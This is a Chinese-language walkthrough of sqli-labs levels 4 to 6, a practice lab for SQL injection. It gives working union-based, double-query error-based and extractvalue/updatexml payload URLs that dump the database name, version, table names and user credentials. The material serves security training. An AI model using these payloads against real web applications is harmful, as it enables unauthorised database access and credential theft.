0x04 less-4
在網上發現了另一種姿勢避免limit的多次使用，就是用group_concat來一次性列出，在數據量比較少的時候很實用！
後臺查詢語句
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
payload
http://localhost/sqli-labs-master/Less-4/?id=1' //此處服務器沒有報錯，因爲後臺採用雙引號，雙引號可以包含單引號，依然被執行
http://localhost/sqli-labs-master/Less-4/?id=2" //用雙引號測試，報錯
http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,2,3-- + //回顯2.3列
http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,2,concat_ws(':',user(),database(),version())-- + //當前用戶、當前數據庫、版本
http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479-- +
http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273-- +
http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,2,concat_ws(':',id,username,password) from users limit 2,1-- +0x05 less-5
從第五關開始發現，和第一關相同，但是網頁返回 you are in……
雙注入單引號字符型注入
預備知識
count()：統計元組的個數
rand()：返回一個0~1之間的隨機數
floor()：向下取整
group by：用於結合合計函數，根據一個或多個列對結果集進行分組
http://localhost/sqli-labs-master/Less-5/?id=1 union select 1,2,3-- +
http://localhost/sqli-labs-master/Less-5/?id=1' and (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)-- +
//返回錯誤信息Operand should contain 1 column(s)，也就是說只能返回一列要注意因爲是rand所以有時候沒顯示結果需要刷新一下
http://localhost/sqli-labs-master/Less-5/?id=1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a))-- +
//返回錯誤Every derived table must have its own alias，每個派生出來的表都必須有一個自己的別名http://localhost/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select database()), ' ',floor(rand()*2)) as a from information_schema.columns group by a ) b)-- +
//得到數據庫名
http://localhost/sqli-labs-master/Less-5/?id=1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)-- +
//得到當前鏈接
http://localhost/sqli-labs-master/Less-5/?id=1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)-- +
//得到當前版本信息
http://localhost/sqli-labs-master/Less-5/?id=1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)-- +
//表名
http://localhost/sqli-labs-master/Less-5/?id=1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select concat_ws(':',id,username,password) from users where table_schema=database() limit 2,1),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)-- +
//id/username/password
使用這種雙注入的方法。對於基於錯誤的SQL注入來說，還有其它辦法。
1.使用extractvalue
extractvalue(xml_frag,xpath_expr)
extractvalue()接受兩個字符串參數，一個xml標記xml_frag的片段和一個xpath表達式xpath_expr(也稱爲定位符)。這個函數返回第一個文本節點的文本。在mysql 5.6.6及更早版本中，xpath表達式最多可以包含127個字符。這個限制在mysql 5.6.7中解除。我們可以在xpath中填寫獲得我們想要的信息的語句。
http://localhost/sqli-labs-master/Less-5/?id=1' and 1=extractvalue(1,concat(0x5e24,(select concat_ws(':',user(),database(),version()))))-- +2.使用updatexml
updatexml(xml_target,xpath_expr,new_xml)
此函數用新的xml片段new_xml替換xml標記xml_target的給定片段的單個部分，然後返回更改的xml。被替換的xml_target的部分與用戶提供的xpath表達式xpath_expr匹配。在 mysql 5.6.6及更早版本中，xpath表達式最多可以包含127個字符。這個限制在mysql 5.6.7中解除。如果沒有找到匹配xpath_expr的表達式，或者找到多個匹配項，函數將返回原始的xml_target片段。 所有三個參數應該是字符串。我們可以在xpath中填寫獲得我們想要的信息的語句。
0x06 less-6
單引號變成了雙引號，其餘的和第五關沒區別
http://localhost/sqli-labs-master/Less-6/?id=1" and (select 1 from (select count(*),concat((select database()), ' ',floor(rand()*2)) as a from information_schema.columns group by a ) b)-- +
等等同第五關關於雙注入的原理還是不太懂的，下面推薦freebuf的一篇文章，寫得還算通俗
傳送門